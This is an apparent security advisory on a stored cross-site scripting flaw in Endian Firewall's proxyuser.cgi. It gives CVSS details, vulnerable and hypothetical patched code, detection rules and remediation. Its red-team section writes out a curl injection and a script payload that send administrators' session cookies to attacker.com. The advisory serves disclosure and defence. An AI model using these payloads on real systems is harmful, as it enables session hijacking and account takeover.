CVE-2026-34813

Executive Summary

CVE-2026-34813 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the user parameter to /cgi-bin/proxyuser.cgi. The injected script is stored on the server and executed when other authenticated users view the affected page. This allows for session hijacking, credential theft, or further lateral movement within the firewall management interface. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). No public exploit code or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network
• Attack Complexity (AC): Low
• Privileges Required (PR): Low (authenticated user)
• User Interaction (UI): Required (victim must view the page)
• Scope (S): Changed (impact on other components)
• Confidentiality (C): Low
• Integrity (I): Low
• Availability (A): None

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS allows for persistent attacks against other administrators.

Deep Dive & Mechanics

The vulnerability resides in the proxyuser.cgi CGI script, which handles user management for proxy services. The user parameter is not properly sanitized before being stored and later rendered in the web interface. An attacker with valid credentials can craft a payload such as:

<script>alert('XSS')</script>

When an administrator views the user list or user details page, the script executes in their browser context. This can be leveraged to:

• Steal session cookies (if HttpOnly flag is not set)
• Perform actions on behalf of the victim (e.g., create new admin accounts)
• Redirect to phishing pages
• Exfiltrate sensitive configuration data

The lack of output encoding in the CGI script is the root cause. The stored data is rendered without escaping HTML entities.

Vulnerable vs. Patched Code

Vulnerable Code (Endian Firewall <= 3.3.25):

# /cgi-bin/proxyuser.cgi (simplified)
my $user = param('user');
# No sanitization
save_user($user);
# Later, when displaying:
print "<td>$user</td>";

Patched Code (Hypothetical):

# /cgi-bin/proxyuser.cgi (patched)
use HTML::Entities;
my $user = param('user');
$user = encode_entities($user);
save_user($user);
# Later, when displaying:
print "<td>$user</td>";

The patch would involve HTML-encoding the input before storage or output. Since no official patch is available, this is a hypothetical fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for Endian Firewall (e.g., admin/admin)
• Network access to the web interface (typically port 443)

Exploitation Steps:

1. Log in to the Endian Firewall web interface.
2. Navigate to the proxy user management page (e.g., /cgi-bin/proxyuser.cgi).
3. Inject a malicious payload in the user parameter:

curl -k -X POST "https://target/cgi-bin/proxyuser.cgi" \
  -d "user=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&action=add"

4. When another administrator views the user list, the script executes and exfiltrates their session cookie.

Advanced Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious user parameter values containing <script> or onerror patterns.
2. Review proxy user entries for unexpected or encoded JavaScript.
3. Check for outbound connections to unknown domains from the firewall's management interface.

Honeypot Setup:

Deploy a decoy Endian Firewall instance and monitor for POST requests to /cgi-bin/proxyuser.cgi with unusual payloads.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /cgi-bin/proxyuser.cgi with user parameter containing <script> tags
  • Outbound connections to attacker-controlled domains from the firewall
  • Unusual Referer headers in requests to the management interface

• Host IOCs:

  • Unexpected entries in the proxy user database (e.g., /etc/endian/firewall/proxyusers)
  • Modified CGI scripts (check file integrity with md5sum)
  • Suspicious cron jobs or processes spawned by the web server

• Log IOCs:

  • Apache access logs showing POST /cgi-bin/proxyuser.cgi with encoded payloads
  • System logs showing su or sudo commands executed by the web server user

Detection Engineering

YARA Rule

rule CVE_2026_34813_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Endian Firewall proxy user logs"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34813"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Endian Firewall Stored XSS via proxyuser.cgi
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2026-34813 by injecting XSS payloads into the user parameter
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/proxyuser.cgi'
        cs-uri-query|contains: 'user='
    filter:
        cs-uri-query|re: 'user=[a-zA-Z0-9._-]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate user names with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-34813 - Endian Firewall Stored XSS via proxyuser.cgi";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/proxyuser.cgi";
    http_uri;
    content:"user=";
    http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict access to the management interface to trusted IPs only (firewall rules).
2. Implement a Web Application Firewall (WAF) rule to block XSS payloads in the user parameter.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Upgrade to a patched version of Endian Firewall once available.
• If no patch is forthcoming, consider migrating to an alternative firewall solution.
• Apply input validation and output encoding to all CGI scripts.

Workaround:

• Disable the proxy user management feature if not required.
• Use a reverse proxy (e.g., Nginx) with XSS filtering rules in front of the firewall.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: 153C379660773A12D6ACCA95] */}